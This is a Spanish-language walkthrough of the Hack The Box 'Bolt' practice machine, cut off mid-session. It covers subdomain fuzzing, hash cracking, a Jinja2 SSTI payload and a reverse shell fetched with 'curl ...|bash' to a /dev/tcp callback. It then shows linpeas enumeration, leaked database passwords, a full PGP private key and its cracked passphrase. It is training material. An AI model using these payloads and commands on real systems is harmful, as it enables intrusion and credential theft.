Bolt
Skills
- Information Leakage
- Subdomain Enumeration
- SSTI (Server Side Template Injection)
- Abusing PassBolt
- Abusing GPG
Certificaciones
- eJPT
- eWPT
- eWPTXv2
- OSWE
Descripción
Bolt
es una máquina medium linux
donde estaremos vulnerándola a través de un SSTI
(Server Side Template Injection) encontrado en un subdominio
. Mediante el SSTI
obtenemos un RCE
(Remote Code Execution) con el que accedemos
a la máquina víctima
. Una vez dentro de la máquina víctima enumeramos
con linpeas.sh
obtenemos varias contraseñas
de las bases de datos
, una de ellas nos permite convertirnos
en un usuario
del sistema. Siendo este usuario del sistema, encontramos un mensaje
en la base de datos
, el cual está cifrado con GPG
, encontramos la clave privada
en los elementos almacenados de Google Chrome
, rompemos
la clave
privada, obteniendo así la contraseña
y posteriormente desciframos
el mensaje
encontrado, el cual nos muestra
la contraseña
del usuario root
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
10
11
# ping 10.129.254.109
PING 10.129.254.109 (10.129.254.109) 56(84) bytes of data.
64 bytes from 10.129.254.109: icmp_seq=1 ttl=63 time=58.9 ms
64 bytes from 10.129.254.109: icmp_seq=2 ttl=63 time=63.7 ms
64 bytes from 10.129.254.109: icmp_seq=3 ttl=63 time=70.6 ms
64 bytes from 10.129.254.109: icmp_seq=4 ttl=63 time=66.5 ms
64 bytes from 10.129.254.109: icmp_seq=5 ttl=63 time=60.8 ms
^C
--- 10.129.254.109 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 58.934/64.112/70.601/4.144 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.254.109 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 12:32 CEST
Initiating SYN Stealth Scan at 12:32
Scanning 10.129.254.109 [65535 ports]
Discovered open port 22/tcp on 10.129.254.109
Discovered open port 443/tcp on 10.129.254.109
Discovered open port 80/tcp on 10.129.254.109
Completed SYN Stealth Scan at 12:33, 21.34s elapsed (65535 total ports)
Nmap scan report for 10.129.254.109
Host is up (0.14s latency).
Not shown: 58385 closed tcp ports (reset), 7147 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
Raw packets sent: 105393 (4.637MB) | Rcvd: 104605 (4.184MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# nmap -sCV -p22,80,443 10.129.254.109 -Pn -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 12:34 CEST
Nmap scan report for 10.129.254.109
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.80 seconds
Nmap
ha detectado un common name analizando el certificado ssl, esto se puede hacer también de forma manual openssl s_client --connect 10.129.254.109:443
, en el certificado ssl aparece el common name passbolt.bolt.htb
que parece un subdominio. Por lo tanto al /etc/hosts vamos a añadir passbolt.bolt.htb
y bolt.htb
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.254.109 bolt.htb passbolt.bolt.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Web Enumeration
Lo primero que vamos a hacer es buscar que es passbolt
, y encontramos que es un proyecto
de código abierto
para la gestión
de contraseñas
https://github.com/passbolt
Cuando accedemos
al servicio web
por el puerto 80
visualizamos lo siguiente
Lo primero que vemos es que se está usando Admin LTE
, por lo que buscamos en google y damos con lo siguiente https://www.bbvaapimarket.com/es/mundo-api/plantillas-para-paneles-de-administracion-desarrolladas-con-el-framework-bootstrap/
En el login de la web (http://10.129.254.109/login
) visualizamos lo siguiente
Si nos fijamos en el title de la venta, pone lo siguiente, si está usando jinja
puede ser vulnerable alguna parte de la web a SSTI
(Server Side Template Injection)
Por ahora vamos a pulsar en Create account
y vamos a crearnos una cuenta en http://10.129.254.109/register
Al intentar registrarnos
nos lanza este error
He probado a mandar un mensaje en esta parte de la web y también da error, al interceptar el mensaje con burpsuite y cambiarle el método a get parece que funciona pero no nos devuelve ningún mensaje para validar que se ha mandado
Inspeccionando la web he visto esta parte que puede ser interesante, para montarnos un diccionario con los nombre de los empleados
Este botón nos devuelve a la página principal y no se envía nada tampoco
Al acceder al dominio passbolt.bolt.htb nos encontramos lo siguiente
Cuando pulsamos en Next
obtenemos la siguiente respuesta
En http://10.129.254.109/download
nos encontramos este proyecto
, el cual vamos a descargar para inspeccionarlo
posteriormente
Después de haber hecho un reconocimiento en general, vamos a buscar subdominios
, ya que si existe el subdominio passbolt
también pueden existir otros
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# wfuzz -c -t100 --hc 404 --hh 30341 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.bolt.htb' http://bolt.htb
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bolt.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000038: 302 3 L 24 W 219 Ch "demo"
000000002: 200 98 L 322 W 4943 Ch "mail"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 242.6730
Processed Requests: 44914
Filtered Requests: 44912
Requests/sec.: 185.0802
Los añadimos el /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.254.109 mail.bolt.htb demo.bolt.htb bolt.htb passbolt.bolt.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
En mail.bolt.htb
nos visualizamos lo siguiente
En demo.bolt.htb
visualizamos lo siguiente
Vamos a ver si nos podemos registar
No nos podemos registrar porque necesitamos un código de invitación
Como no podemos hacer nada aquí vamos a echarle un vistazo de nuevo a la demo de la aplicación que nos hemos descargado, puede ser que el demo que nos hemos descargado encontremos datos interesante. Efectivamente buscando nos encontramos un archivo
de base de datos sqlite
y encontramos los datos
del usuario admin
1
2
3
4
5
6
7
# sqlite3 db.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
Vamos a intentar encontrar
la contraseña
mediante fuerza bruta
, lo primero es crearnos un archivo llamado hash
e introducir el hash
1
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
Aplicamos fuerza bruta
con john
y obtenemos la contraseña del usuario administrador
1
2
3
4
5
6
7
8
9
10
11
# john -w:rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
1g 0:00:00:00 DONE (2024-07-08 14:13) 3.225g/s 557419p/s 557419c/s 557419C/s faith33..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos el correo electrónico admin@bolt.htb
, el usuario admin
y la contraseña deadbolt
, por lo tanto podemos probar estas credenciales en los diferentes paneles de login
. Probamos en el panel de login de http://bolt.htb/login
Y efectivamente entramos, he probado estas mismas credenciales en los diferentes paneles de login y solo han funcionado en este, también he probado por ssh y no ha funcionado
A pesar de haber accedido a este panel de administrator no podemos hacer nada. Por lo tanto vamos a ver si encontramos algo de interés en el código fuente que nos hemos descargado. He encontrado el invite_code
para poder registrarnos en el domino demo.bolt.htb
1
2
3
4
5
6
7
8
9
10
11
# pwd
/home/justice-reaper/Desktop/Bolt/content/41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base
# grep -r -i "invite" . 2>/dev/null
./templates/accounts/register.html: {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
./routes.py: code = request.form['invite_code']
./forms.py: invite_code = TextField('Invite Code', id='invite_code' , validators=[DataRequired()])
# nano ./routes.py
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
Ahora al intentar registrarnos en demo.bolt.htb
si que nos deja
A continuación nos redirige a la página de iniciar sesión
Una vez logueados, nos lleva a la página similar a la de antes pero esta es más compleja y las funcionalidades
están activas
Web Exploitation
Si nos fijamos en la web
en la parte inferior derecha
vemos que se emplea Flask
, debido a esto podemos probar a hacer un SSTI
en los campos de nuestro perfil
, sin embargo, nos pone que debemos verificar
los cambios
por correo electrónico
El servicio de correo del dominio demo.bolt.htb
no está activo, sin embargo, podemos probar las credenciales que hemos usado para registrarnos en este dominio en mail.bolt.htb
Efectivamente ha funcionado, ahora vamos a pinchar
en el enlace
para confirmar
los cambios
Nos ha llegado este correo electrónico
con los cambios
aplicados, por lo tanto podemos confirmar el SSTI
Gracias a este SSTI
vamos a ejecutar comandos
. Usamos este payload
para comprobar que podemos ejecutar comandos. El payload lo podemos encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2. Sabemos que es un jinja debido a que lo ponía en el Title
del dominio http://bolt.htb/login
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Al mirar el correo vemos que el comando
ha sido ejecutado
Intrusión
Vamos a realizar los mismos pasos con el objetivo de mandarnos una reverse shell
hacia nuestro equipo. Lo primero es ponernos en escucha con netcat
por el puerto 1234
1
# nc -nlvp 1234
Nos creamos un archivo shell
con este contenido
1
bash -i >& /dev/tcp/10.10.14.86/1234 0>&1
Nos ponemos en escucha
por el puerto 80
en el mismo directorio
que está el archivo shell
1
# python -m http.server 80
Nos ponemos en escucha con netcat
por el puerto 1234
1
# nc -nlvp 1234
Inyectamos
el payload
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://10.10.14.86/shell|bash').read() }}
Al hacer click
en el link
del correo electrónico
nos llegará la shell
a nuestro equipo, ahora vamos a realizar un tratamiento
a la TTY
1
2
3
4
5
6
nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.86] from (UNKNOWN) [10.129.254.229] 44784
bash: cannot set terminal process group (900): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$
Obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Ya tenemos un consola
completamente interactiva
1
2
www-data@bolt:~/demo$ whoami
www-data
Privilege Escalation
Una vez dentro de la máquina víctima vamos a ejecutar linpeas.sh
para enumerar
el sistema
> https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS. Lo primero es descargárnoslo
en nuestro equipo
1
# wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Lo siguiente es ponernos en escucha con python
por el puerto 80
en el mismo directorio
en el que se encuentra linpeas.sh
1
# python -m http.server 80
Desde la máquina víctima descargamos
el archivo
1
www-data@bolt:/var/mail$ wget http://10.10.14.86/linpeas.sh
Linpeas.sh
ha encontrado
dos credenciales
interesantes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
╔══════════╣ Analyzing Roundcube Files (limit 70)
drwx------ 13 www-data www-data 4096 Aug 4 2021 /var/www/roundcube
-rw-r--r-- 1 www-data www-data 3589 Mar 6 2021 /var/www/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcubeuser:WXg5He2wHt4QYHuyGET@localhost/roundcube';
// $config['enable_installer'] = true;
$config['smtp_log'] = false;
$config['default_host'] = 'localhost';
$config['mail_domain'] = '%t';
$config['support_url'] = '';
$config['des_key'] = 'tdqy62YPNdGEeohXtJ2160bX';
$config['product_name'] = 'Bolt Webmail';
$config['plugins'] = array();
$config['drafts_mbox'] = '';
$config['junk_mbox'] = '';
$config['sent_mbox'] = '';
$config['trash_mbox'] = '';
drwxr-xr-x 3 www-data www-data 4096 Mar 2 2021 /var/www/roundcube/vendor/roundcube
╔══════════╣ Analyzing Passbolt Files (limit 70)
-rw-r----- 1 root www-data 3128 Feb 25 2021 /etc/passbolt/passbolt.php
* Passbolt ~ Open source password manager for teams
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
'EmailTransport' => [
'host' => 'localhost',
'port' => 587,
'username' => null,
'password' => null,
'from' => ['localhost@bolt.htb' => 'localhost'],
-rw-r--r-- 1 root root 3693 Jul 27 2021 /usr/share/php/passbolt/plugins/Passbolt/WebInstaller/templates/Config/passbolt.php
* Passbolt ~ Open source password manager for teams
'host' => '<?= $config['database']['host'] ?>',
'port' => '<?= $config['database']['port'] ?>',
'username' => '<?= $config['database']['username'] ?>',
'password' => '<?= $config['database']['password'] ?>',
'database' => '<?= $config['database']['database'] ?>',
'EmailTransport' => [
'host' => '<?= $config['email']['host'] ?>',
'port' => <?= $config['email']['port'] ?>,
'username' => <?= empty($config['email']['username']) ? 'null' : "'{$config['email']['username']}'" ?>,
'password' => <?= empty($config['email']['password']) ? 'null' : "'{$config['email']['password']}'" ?>,
Vemos hay dos usuarios además de root, los cuales son clark
y eddie
1
2
3
4
5
www-data@bolt:/var/mail$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
eddie:x:1000:1000:Eddie Johnson,,,:/home/eddie:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
clark:x:1001:1001:Clark Griswold,,,:/home/clark:/bin/bash
He probado a reutilizar estas credenciales para los dos usuarios y eddie
usa esta contraseña rT2;jW7<eY8!dX8}pQ8%
1
2
3
4
www-data@bolt:/var/mail$ su eddie
Password:
eddie@bolt:/var/mail$ whoami
eddie
El archivo /var/mail/eddie
es un mensaje que recibió eddie por parte de clark
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
Ejecutamos linpeas.sh
de nuevo para que nos enumere nuevamente el sistema y veo esto que me llama la atención
1
2
3
4
5
══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
He buscado en los diferentes archivos y en el archivo 000003.log
parece estar la clave privada
pgp de eddie, con este comando lo podemos comprobar
1
eddie@bolt:~/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf$ strings 000003.log | grep -E "BEGIN PGP PRIVATE|END PGP PRIVATE"
Seleccionamos la clave privada pgp
y se la pasamos a chatgpt
para que nos la devuelva en el formato correcto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
Ahora podemos intentar crackear
la clave privada
pero antes debemos pasarlo a un formato para que john puedo crackearla
1
2
3
4
# gpg2john pgp_private_key
File pgp_private_key
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::pgp_private_key
Este ouput lo almacenamos en un archivo llamado hash
y le hacemos fuerza bruta
con john
para romperlo
1
2
3
4
5
6
7
8
9
10
11
12
# john -w:rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas (Eddie Johnson)
1g 0:00:00:55 DONE (2024-07-09 13:24) 0.01805g/s 773.4p/s 773.4c/s 773.4C/s mhines..megan5
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Anteriormente le he echado un vistazo a la base de datos
y he visto un mensaje encriptado
que es del que nos habla clark, vamos a conectarnos a mysql con el usuario passbolt
y la clave rT2;jW7<eY8!dX8}pQ8%
para obtener el mensaje y poder desencriptarlo
con la clave privada
de eddie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
eddie@bolt:/home$ mysql -u passbolt -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 48151
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| passboltdb |
+--------------------+
2 rows in set (0.01 sec)
mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
